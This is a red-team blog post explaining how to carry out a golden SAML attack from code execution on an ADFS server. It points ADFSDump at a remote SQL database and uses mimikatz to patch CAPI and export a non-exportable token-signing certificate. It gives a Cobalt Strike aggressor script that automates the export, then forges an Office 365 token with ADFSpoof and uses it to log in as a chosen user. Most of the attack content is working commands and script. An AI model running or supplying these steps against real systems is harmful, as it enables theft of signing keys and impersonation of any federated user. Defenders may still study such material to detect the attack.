ADFSDump without WID and with non-exportable certificates

I was recently in a position where I had code execution on an ADFS server, under the context of the ADFS service account, and wanted to use ADFSDump as part of a golden SAML attack. This post details the two hurdles I encountered and how they were overcome, namely:

  1. ADFS was configured to use a remote MS SQL database, rather than the built-in WID that ADFSDump expects.
  2. ADFSDump was unable to retrieve the Encrypted Token Signing Key, perhaps due to the key being marked as unexportable.

If you’re in a similar position, chances are you’ve stumbled across the fantastic posts below:

  1. Abusing replication, stealing ADFS secrets over the network
  2. Remote ADFS Export
  3. I am AD FS and So Can You

This post is intended to cover the subtle changes needed to operationalise the techniques above.

Setup

This post assumes you have already obtained code execution on an ADFS server under the context of the ADFS service account. As described here, it is also possible to export the ADFS configuration remotely, however this requires additional privileges in order to obtain the DKM key for decryption. In an effort to overcome the two hurdles above, I did try switching over to AADInternals rather than ADFSDump, and while using AADInternals solved the first challenge (MS SQL rather than WID), it didn’t solve the second (missing token signing key).

Configuring ADFSDump for MS SQL rather than WID

If you read the ADFSDump README you’ll see it says “Although it would be trivial to support an external SQL server, this feature does not exist right now.”. With only a single line of code needing to be changed, they weren’t wrong. My merge request to ADFSDump adds support for a /database: flag to make this easier for you.

First you need to obtain the database connection string that ADFS is using to communicate with the remote MS SQL instance. This post provides a helpful WMI query for doing just that.

(Get-WmiObject -Namespace root/AD FS -Class SecurityTokenService).ConfigurationDatabaseConnectionString

Using the wmi_query BOF from trusted_sec, this query translates to:

wmi_query "SELECT * FROM SecurityTokenService" . root/ADFS

From the output you should be able to determine the connection string:

Connecting to \\.\root/ADFS and running the WMI query 'SELECT * FROM SecurityTokenService'

received output:
ConfigurationChannelMaxMessageSizeInBytes, ConfigurationDatabaseConnectionString, ConfigurationServiceAddress 20971520, Data Source=[REDACTED]\[REDACTED];Initial catalog=adfsconfigurationv4;Integrated security=true;Min Pool Size=20, net.tcp://localhost:1500/policy

The part we’re interested in is:

Data Source=[REDACTED]\[REDACTED];Initial catalog=adfsconfigurationv4;Integrated security=true

When you run ADFSDump, provide the above connection string as follows:

ADFSDump.exe "/database:Data Source=[REDACTED]\[REDACTED];Initial catalog=adfsconfigurationv4;Integrated security=true"

Missing token signing key

If, like it was for me, the encrypted token signing key section of ADFSDump’s output was blank, you can follow the steps below to obtain it. Note, this requires running mimikatz on an ADFS server…

My current working theory is that it’s empty because the key is marked as non-exportable, and therefore ADFS is unable to export it and present it in the configuration. This doesn’t feel quite right, but in any case the result is the same: we need to obtain it somehow.

If you used my branch of ADFSDump then all of the information you need to obtain this key manually should have been provided near the top:

Certificate value
Store location value
Store name

The ADFS certificate is, in my experience at least, typically in Local Machine under the store name My, which we can confirm with mimikatz:

mimikatz @crypto::certificates /systemstore:local_machine /store:my

Which displays details about all the certificates in that store, including our ADFS certificate:

7. cert
    Subject  : [REDACTED]
    Issuer   : [REDACTED]
    Serial   : [REDACTED]
    Algorithm: 1.2.840.113549.1.1.1 (RSA)
    Validity : 3/10/2020 8:00:00 PM -> 3/16/2022 8:00:00 AM
    Hash SHA1: 8661be[REDACTED]
	Key Container  : [REDACTED]
	Provider       : Microsoft Enhanced Cryptographic Provider v1.0
	Provider type  : RSA_FULL (1)
	Type           : AT_KEYEXCHANGE (0x00000001)
	|Provider name : Microsoft Enhanced Cryptographic Provider v1.0
	|Key Container : [REDACTED]
	|Unique name   : [REDACTED]
	|Implementation: CRYPT_IMPL_SOFTWARE ; 
	Algorithm      : CALG_RSA_KEYX
	Key size       : 2048 (0x00000800)
	Key permissions: 0000003b ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; )
	Exportable key : NO


You can identify which certificate ADFS is using by comparing the Certificate value from ADFSDump with the Hash SHA1 value above, in this instance 8661be….

Note that the certificate is configured to have a non-exportable key. Luckily, mimikatz can be used to first patch CAPI so that non-exportable certificate can be exported, then export the target certificate. If executing mimikatz through a beacon like me, you’ll need to use an aggressor script so that the patching of CAPI and the export of the certificate occurs in the same process, before CAPI is then reverted. You can use the agg script below.

#author jamescoote

#register help
beacon_command_register("cert-export", "patch capi and export local_machine certs",
	"Synopsis: cert-export \n\n" .
	"Patch capi and export the local_machine certs.");

#setting the alias
alias cert-export {
	bmimikatz($1, "crypto::capi\ncrypto::certificates /systemstore:local_machine /store:my /export");
}

Running cert-export will then export all certificates within the My store to your current directory. You should now see a list of .der and .pfx files named something like local_machine_my_X_cert. Note that in the output from mimikatz above, the target certificate is number 7 in the list, and therefore we can download both files called local_machine_my_7 and delete the rest.

Using this with ADFSpoof

By default, mimikatz uses the password mimikatz to protect exported certificates, and we can supply this exported .pfx certificate directly with ADFSpoof to access O365.

python3 ADFSpoof.py -c local_machine_my_7_cert.pfx -p mimikatz -s SERVER -o golden-saml-token.txt o365  --upn UPN --objectguid GUID

You can obtain the target user’s UPN and ObjectGUID using the ldapsearch BOF:

ldapsearch (name=TARGETUSER) objectGUID userPrincipleName

The resultant token can then be passed in a POST request to https://login.microsoftonline.com/login.srf, replacing the wresult parameter of a legitimate authentication’s POST request with your golden SAML to complete authentication as the impersonated user.

Written on July 26, 2021